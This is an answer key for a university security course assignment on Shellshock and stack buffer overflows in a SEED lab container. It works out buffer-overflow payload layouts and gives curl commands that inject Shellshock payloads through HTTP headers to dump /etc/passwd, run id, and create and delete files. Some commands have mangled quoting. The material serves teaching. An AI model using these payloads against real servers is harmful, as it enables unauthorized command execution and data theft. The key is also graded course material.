

CSCI 191T – Computer Security

Assignment 2 Key: Shellshock and Buffer-Overflow

Instructions:

There are two sections in this assignment. For Section 1, answer all questions completely. For Section 2, execute the code (using files from Assignment2_Files.zip) and answer all questions.

NOTE: Unless specified otherwise, all references to “Bash” in this assignment, are about the vulnerable Bash (file labelled “bash_shellshock” in Assignment2_files.zip in “Shellshock” subfolder).

The final submission is a single report (PDF file). You need to submit a detailed report, with:

Section 1 - Detailed answers and observations.

Section 2 - Screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Also list the important code snippets followed by explanation. **Simply attaching code or screenshot without any explanation will not receive credits.**

Section 1

70 Points

1. (10 Points) Instead of putting an extra shell command after a function definition, we put it at the beginning (shown in example below). We then run Bash, which is vulnerable to the Shellshock attack. Will the shell command `echo world` be executed? Explain why?

Example:

```
$ export foo='echo world; () { echo hello;}'  
$ bash
```

Key points:

- a. No, `echo world` will not be executed.
 - b. The environment variable should **start** with “()`<space>`{“ to be considered a function definition by the bash. Which is a pre-requisite to triggering the vulnerable logic in the bash.
2. (15 Points) Consider the following program “prog.c”:

```

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

extern char **environ;

int main()
{
    char *args[] =
    {
        "/bin/sh", "-c",
        "/bin/ls", NULL
    };
    pid_t pid = fork();

    if(pid == 0) {
        /* child */
        printf("child\n");
        execve(args[0], &args[0], NULL); ①
    }
    else if(pid > 0) {
        /* parent */
        printf("parent\n");
    }
    return 0;
}

```

The program forks a child process, and executes the `/bin/ls` program using `/bin/sh`, which is a symbolic link to `/bin/bash`.

Consider the following commands

```
$ gcc prog.c -o prog
```

```
$ export foo='() { echo hello; }; echo world;'
```

```
/*(write command to make /bin/sh link to bash_shellshock)*/
```

```
$ ./prog
```

Explain the output of the program.

Key points:

- The output will be just “parent” and “child”.
- Even though `execve()` is invoking the bash (“/bin/sh”), the third argument to `execve()` is `NULL`.
- Therefore, no environment variables are passed to the bash process, including the “foo” variable that we created. The shellshock vulnerability only works through malicious environment variables.

3. (15 Points) In which memory segments are the variables in the following code located?

```

int i = 0;
void func(char *str)
{
    char *ptr = malloc(sizeof(int));
    char buf[1024];
    int j;
    static int y;
}

```

Key points:

- a. Identifying all the variables/memory allocations in this code: i, str, ptr, buf, j, y and memory allocated by malloc() call.
 - b. Data Segment: i.
 - c. BSS segment: y.
 - d. Heap: memory allocated by malloc(), pointed to by ptr.
 - e. Stack: ptr, str, buf and j.
4. (15 Points) The following function is called in a remote server program.

```

int bof(char *str)
{
    char buffer[X];
    strcpy(buffer, str);
    return 1;
}

```

The argument str points to a string that is entirely provided by users (the size of the string is up to 300 bytes). The size of the buffer is X, which is unknown to us (we cannot debug the remote server program). However, somehow we know that the address of the buffer array is 0xAABBCC10, and the distance between the end of the buffer and the memory holding the function's return address is 8. Although we do not know the exact value of X, we do know that its range is between 20 and 100.

Write down the string that you would feed into the program, so when this string is copied to buffer and when the bof() function returns, the server program will run your code. You only have one chance, so you need to construct the string in a way such that you can succeed without knowing the exactly value of X. In your answer, you don't need to write down the injected code, but the offsets of the key elements in your string need to be correct.

Key points:

- a. Beginning address of buffer = 0xAABBCC10.
- b. Possible reasoning #1 for spray range: As we know the range of the buffer size, 20 (14 in hex) to 100 (64 in hex), we can spray the memory locations starting from 0xAABBCC24 to 0xAABBCC74 (memory address is 4 bytes, so each spray is 4bytes long, starting location must be divisible by 4 for alignment) with the return address.
- c. Possible reasoning #2 for spray range: modification on previous point, we can spray 100 + some small value, lets say, 20, so from 0xAABBCC24 to 0xAABBCC88 with the return address.

- d. Possible reasoning #1 for return address: Let us assume we place the malicious code 200 bytes away from the starting address, i.e., code is at 0XAABBCCD8. This is the return address, that we must spray.
- e. Possible reasoning #2 for return address: If we are filling the initial string with NOPs, then any address (must be divisible by 4) from 0XAABBCC74 or 0XAABBCC88 (depending on reasoning for spray range) to 0XAABBCCD8 can be used as the return address and sprayed.

5. (15 Points) The following function is called in a privileged program.

```
int bof(char *str)
{
    char buffer[24];
    strcpy(buffer, str);
    return 1;
}
```

The argument str points to a string that is entirely provided by users (the size of the string is up to 300 bytes). When this function is invoked, the address of the buffer array is 0xAABB0010, while the return address is stored in 0xAABB0050. Write down the string that you would feed into the program, so when this string is copied to buffer and when the bof() function returns, the privileged program will run your code. In your answer, you don't need to write down the injected code, but the offsets of the key elements in your string need to be correct.

Note: there is a trap in this problem; some people may be lucky and step over it, but some people may fall into it. Be careful.

Key points:

- a. Beginning address of buffer = 0XAABB0010. Location where return address is stored = 0xAABB0050.
- b. Therefore, 64 bytes distance between buffer start and location of return address which can be filled with NOPs. First, 64 bytes in string will have NOPs.
- c. Four bytes starting from 64th to 67th will contain the return address.
- d. Let us assume that we want to place the shellcode at 0XAABB0104 (It is crucial that return address does not have a 0 byte. This was the trap. For example, if you place the shell code at 0XAABB0084, it would not work as strcpy() would finish after encountering a 0 byte).
- e. 0XAABB0104, is 244 bytes from 0XAABB0010. Therefore, we can fill NOPs from 68th byte to 243rd byte in our string.
- f. The final string will look something like this.
 - a) 0th to 63rd byte NOPs.
 - b) 64th to 67th byte return address (0XAABB0104).
 - c) 68th to 243rd byte NOPs.
 - d) 243rd byte onwards, the shell code.

Section 2

30 Points

Task: Shellshock Attack

Note: As we have already had hands-on experience with reverse shell attack on a server in our class sessions, we will not be repeating the concept here. However, we will look at the shellshock concept to reinforce our learning.

Information :

For this task, we will be using files within the “Assignment2_Files/Shellshock” folder.

To setup for this task, locate the “docker-compose.yml” file in “Assignment2_Files/Shellshock”, run the commands “dcbuild” and “dcup”. This will setup a server at IP address is 10.9.0.80, which is also already mapped as follows in the “/etc/hosts” file:

```
10.9.0.80      www.seedlab-shellshock.com
```

The dcbuild and dcup commands will also place two files, named “vul.cgi” and “getenv.cgi” will also be placed in the “/cgi-bin” directory on the server. You can access them using the following commands :

For example for vul.cgi :

```
$ curl http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
```

It is also important to note that the server will be running a vulnerable version of the bash, its own copy of “bash_shellshock” file.

If we want to set the environment variable data to arbitrary values, we will have to modify the curl (example shown above) command, which allows users to control most of fields in an HTTP request. Here are some of the useful options: (1) the -v field can print out the header of the HTTP request; (2) the -A, -e, and -H options can set some fields in the header request.

Questions-

- a) (10 Points) Write a brief description of the fields that each of the options (-A, -e, -H) set in the header request.

Key points:

Brief description of the fields/options

-A --user-agent <name> (HTTP) Specify the User-Agent string to send to the HTTP server.
To encode blanks in the string, surround the string with single quote marks.

-e --referrer <URL> (HTTP) Sends the "Referrer Page" information to the HTTP server.

-H --header <header/@file> (HTTP) Extra header to include in the request when sending HTTP to a server. You may specify any number of extra headers.

- b) (10 Points) Use three different approaches (i.e., three different HTTP header fields) to launch the Shellshock attack against the target CGI program. You need to achieve the following objectives. For each objective, you only need to use one approach, but in total, you need to use three different approaches.

1. Get the server to send back the content of the /etc/passwd file.

Key points:

```
curl -A "()" { echo hello;}; echo Content_type:
text/plain; echo; /bin/cat /etc/passwd"
http://www.seed-server.com/cgi-bin/vul.cgi
```

2. Get the server to tell you its process' user ID. You can use the /bin/id command to print out the ID information.

Key points:

```
curl -e "()" { echo hello;}; echo Content_type:
text/plain; echo; /bin/id"
http://www.seed-server.com/cgi-bin/vul.cgi
```

3. Get the server to create a file inside the /tmp folder. Use another Shellshock attack to list the /tmp folder to check if the file was created.

Key points:

```
curl -H "foo: () { echo hello;}; /bin/touch /tmp/myfile"
http://www.seed-server.com/cgi-bin/vul.cgi
```

4. Get the server to delete the file that you just created inside the /tmp folder.

Key points:

```
curl -H "foo: () { echo hello;}; /bin/rm /tmp/myfile"
http://www.seed-server.com/cgi-bin/vul.cgi
```

- c) (10 Points) Answer the following questions:

1. Will you be able to steal the content of the shadow file /etc/shadow from the server? Why or why not? The information obtained from the process ID should give you a clue.

Key points:

- a) No, we will not be able to read the file as CGI server runs as "www-data" and we need "root" permissions to read /etc/shadow.

2. HTTP GET requests typically attach data in the URL, after the “?” mark. This could be another approach that we can use to launch the attack. In the following example, we attach some data in the URL, and we found that the data are used to set the following environment variable:

```
$ curl http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi?AAAAA  
QUERY_STRING=AAAAA
```

Can we use this method to launch the Shellshock attack? Conduct your experiment and derive your conclusions based on your experiment results.

Key points:

- a) Sending data as part of url requires encoding of the special characters.
- b) <Space> would be encoded as %20B, curly brackets would be %7B and %7D.
- c) Apache would set environment variables without decoding these back, therefore, these encoded symbols would remain and will be the reason for an unsuccessful attack.

Note: There is no task on buffer-overflow attack as we will be covering most of the attacks in class.